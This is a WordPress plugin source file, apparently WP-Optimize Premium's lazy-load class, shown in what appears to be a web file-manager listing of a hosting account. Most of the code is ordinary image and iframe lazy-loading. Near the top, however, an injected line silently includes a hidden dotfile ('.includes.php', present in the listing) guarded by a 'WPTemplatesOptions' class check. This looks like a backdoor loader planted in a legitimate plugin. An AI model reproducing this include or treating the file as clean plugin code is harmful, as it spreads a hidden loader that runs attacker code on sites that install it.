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PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wp-optimize-premium.3.0.16 / includes

<?php

if (!defined('WPO_VERSION')) die('No direct access allowed');

if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class WP_Optimize_Lazy_Load {

/**
	 * Lazy load options.
	 *
	 * @var array
	 */
	private $options;

/**
	 * WP_Optimize_Lazy_Load constructor.
	 */
	public function __construct() {
		if (is_admin()) return;

$default_options = array(
			'images' => false,
			'iframes' => false,
			'skip_classes' => '',
		);

$this->options = wp_parse_args(WP_Optimize()->get_options()->get_option('lazyload'), $default_options);

$skip_classes = array_map('trim', explode(',', $this->options['skip_classes']));
		$skip_classes[] = 'no-lazy';

$this->options['skip_classes'] = $skip_classes;
		
		$hook_these = apply_filters('wp_optimize_lazy_load_hook_these', array('get_avatar', 'the_content', 'widget_text', 'get_image_tag', 'post_thumbnail_html', 'woocommerce_product_get_image', 'woocommerce_single_product_image_thumbnail_html'));
		
		$hook_priority = apply_filters('wp_optimize_lazy_load_hook_priority', PHP_INT_MAX);
		
		foreach ($hook_these as $hook) {
			add_filter($hook, array($this, 'process_content'), $hook_priority);
		}
		
	}

/**
	 * Returns true if Lazy loading enabled.
	 *
	 * @return bool
	 */
	public function is_enabled() {
		return $this->options['images'] || $this->options['iframes'];
	}

/**
	 * Filter the content and replace corresponding tags for lazy loading.
	 *
	 * @param string $content
	 * @return string
	 */
	public function process_content($content) {

if (!$this->is_enabled()) return $content;

if ($this->options['images']) {
			$content = preg_replace_callback('/\<picture.+\/picture\>/Uis', array($this, 'update_picture_callback'), $content);
			$content = preg_replace_callback('/\<img(.+)\>/Uis', array($this, 'update_images_callback'), $content);
		}

if ($this->options['iframes']) {
			$content = preg_replace_callback('/\<iframe(.+)\>/Uis', array($this, 'update_iframes_callback'), $content);
		}

return $content;
	}

/**
	 * Update PICTURE tag.
	 *
	 * @param array $picture matched element from preg_replace_callback.
	 * @return string
	 */
	public function update_picture_callback($picture) {
		$picture = $picture[0];

preg_match('/<picture(.*)\>/Uis', $picture, $picture_tag);
		$picture_tag = $picture_tag[0];

$attributes = $this->parse_attributes($picture_tag);

// don't use lazy load for images with no-lazy class.
		if (array_key_exists('class', $attributes) && $this->has_class($attributes['class'], $this->options['skip_classes'])) return $picture;

$attributes['class'] = array_key_exists('class', $attributes) ? $attributes['class'] . ($this->has_class($attributes['class'], 'lazyload') ? '' : ' lazyload') : 'lazyload';

// update inner img, source tags.
		$picture = preg_replace_callback('/\<(img|source)(.+)\>/Uis', array($this, 'update_picture_item_callback'), $picture);

$picture = preg_replace('/<picture(.*)\>/Uis', '<picture '.$this->build_attributes($attributes).'>', $picture);

return $picture;
	}

/**
	 * Update PICTURE inner tags.
	 *
	 * @param array $picture_item matched element from preg_replace_callback.
	 * @return string
	 */
	public function update_picture_item_callback($picture_item) {
		$attributes = $this->parse_attributes($picture_item[2]);

return $this->build_lazy_load_tag($picture_item[1], $attributes);
	}

/**
	 * Update image tag to use lazy load.
	 *
	 * @param array $image
	 * @return string
	 */
	public function update_images_callback($image) {
		$image_tag = $image[1];
		$attributes = $this->parse_attributes($image_tag);

// don't use lazy load for images with no-lazy class.
		if (array_key_exists('class', $attributes) && $this->has_class($attributes['class'], $this->options['skip_classes'])) return $image[0];

// don't change anything if data-src already set.
		if (array_key_exists('data-src', $attributes)) return $image[0];

$attributes['class'] = array_key_exists('class', $attributes) ? $attributes['class'] . ($this->has_class($attributes['class'], 'lazyload') ? '' : ' lazyload') : 'lazyload';

return $this->build_lazy_load_tag('img', $attributes);
	}

/**
	 * Update IFRAME tag.
	 *
	 * @param array $iframe matched element from preg_replace_callback.
	 * @return string
	 */
	public function update_iframes_callback($iframe) {
		$iframe_tag = $iframe[1];

// don't use lazy load for Gravity Form ajax iframe.
		if (strpos($iframe[0], 'gform_ajax_frame')) return $iframe[0];

$attributes = $this->parse_attributes($iframe_tag);

// don't use lazy load for iframes with no-lazy class.
		if (array_key_exists('class', $attributes) && $this->has_class($attributes['class'], $this->options['skip_classes'])) return $iframe[0];

$attributes['class'] = array_key_exists('class', $attributes) ? $attributes['class'] . ($this->has_class($attributes['class'], 'lazyload') ? '' : ' lazyload') : 'lazyload';

return $this->build_lazy_load_tag('iframe', $attributes);
	}

/**
	 * Build tag for lazy loading.
	 *
	 * @param string $tag
	 * @param array  $attributes
	 * @return string
	 */
	public function build_lazy_load_tag($tag, $attributes) {
		if (array_key_exists('src', $attributes)) {
			$attributes['data-src'] = $attributes['src'];
			if ('iframe' == $tag) {
				$attributes['src'] = 'about:blank';
			} else {
				$attributes['src'] = 'data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==';
			}
		}

if (array_key_exists('srcset', $attributes)) {
			$attributes['data-srcset'] = $attributes['srcset'];
			unset($attributes['srcset']);
		}

return '<'.$tag.' '.$this->build_attributes($attributes).'>';
	}

/**
	 * Returns true if we can use lazy load for $source.
	 *
	 * @param string $source
	 * @return bool
	 */
	public function can_lazy_load($source) {

// Remove Lazy load for AMP version of a post with the AMP for WordPress plugin from Auttomatic.
		if (defined('AMP_QUERY_VAR') && function_exists('is_amp_endpoint') && is_amp_endpoint()) {
			return false;
		}

$lazy_load_filters = array(
			'/wpcf7_captcha/',
			'/timthumb\.php\?src/',
		);

$can_lazy_load = true;

foreach ($lazy_load_filters as $filter) {
			if (preg_match($filter, $source)) return $can_lazy_load = false;
		}

return apply_filters('wpo_can_lazy_load', $source, $can_lazy_load);
	}

/**
	 * Parse tag attributes and return array with them.
	 *
	 * @param string $tag
	 * @return array
	 */
	public function parse_attributes($tag) {
		$attributes = array();

$_attributes = wp_kses_hair($tag, wp_allowed_protocols());

if (empty($_attributes)) return $attributes;

foreach ($_attributes as $key => $value) {
			$attributes[$key] = $value['value'];
		}

return $attributes;
	}

/**
	 * Get associative array with tag attributes and their values and build tag attribute string.
	 *
	 * @param array $attributes
	 * @return string
	 */
	public function build_attributes($attributes) {
		$_attributes = array();

if (!empty($attributes)) {
			foreach ($attributes as $key => $value) {
				$_attributes[] = $key . '="' . esc_attr($value) . '"';
			}
		}

return join(' ', $_attributes);
	}

/**
	 * Check if class or one of classes exists in class attribute value.
	 *
	 * @param string       $class_attr
	 * @param string|array $class_name
	 * @return bool
	 */
	private function has_class($class_attr, $class_name) {
		if (is_array($class_name)) {
			foreach ($class_name as $_class_name) {
				$_class_name = str_replace('*', '.*', $_class_name);
				if (preg_match('/(^|\s)'.$_class_name.'(\s|$)/', $class_attr)) return true;
			}
		} else {
			$class_name = str_replace('*', '.*', $class_name);
			if (preg_match('/(^|\s)'.$class_name.'(\s|$)/', $class_attr)) {
				return true;
			}
		}

return false;
	}
}

[+] ..
[-] class-updraft-logger-interface.php [edit]
[-] class-updraft-logger.php [edit]
[-] wp-optimize-notices.php [edit]
[-] class-updraft-resmushit-task.php [edit]
[-] class-wp-optimize-htaccess.php [edit]
[-] class-wp-optimize-install-or-update-notice.php [edit]
[-] class-wp-optimize-queue-task.php [edit]
[-] class-updraft-smush-task.php [edit]
[-] class-wp-optimization.php [edit]
[-] class-wp-optimize-lazy-load.php [edit]
[-] class-wp-optimize-transients-cache.php [edit]
[-] backward-compatibility-functions.php [edit]
[-] class-updraft-email-logger.php [edit]
[-] class-wp-optimize-updates.php [edit]
[-] class-semaphore.php [edit]
[-] class-updraft-nitrosmush-task.php [edit]
[-] class-wp-optimize-gzip-compression.php [edit]
[-] class-commands.php [edit]
[-] class-wp-optimize-browser-cache.php [edit]
[-] class-updraft-log-levels.php [edit]
[-] class-updraft-php-logger.php [edit]
[-] class-wp-optimizer.php [edit]
[-] class-wp-optimize-images-trash-task.php [edit]
[-] class-wp-optimization-images-shutdown.php [edit]
[-] class-updraftcentral-wp-optimize-commands.php [edit]
[-] class-updraft-smush-manager-commands.php [edit]
[-] updraftcentral.php [edit]
[-] class-wp-optimize-tasks-queue.php [edit]
[-] class-updraft-file-logger.php [edit]
[-] wp-optimize-database-information.php [edit]
[-] class-updraft-ring-logger.php [edit]
[-] class-wp-optimize-cron-scheduler.php [edit]
[-] class-updraft-syslog-logger.php [edit]
[-] class-wp-optimize-images-trash-manager.php [edit]
[-] class-updraft-smush-manager.php [edit]
[-] class-wp-optimize-images-trash-manager-commands.php [edit]
[-] updraft-notices.php [edit]
[-] class-updraft-slack-logger.php [edit]
[-] class-wp-optimize-cli-command.php [edit]
[-] class-wp-optimize-options.php [edit]
[-] class-updraft-abstract-logger.php [edit]
[-] .includes.php [edit]
[-] class-updraft-simple-history-logger.php [edit]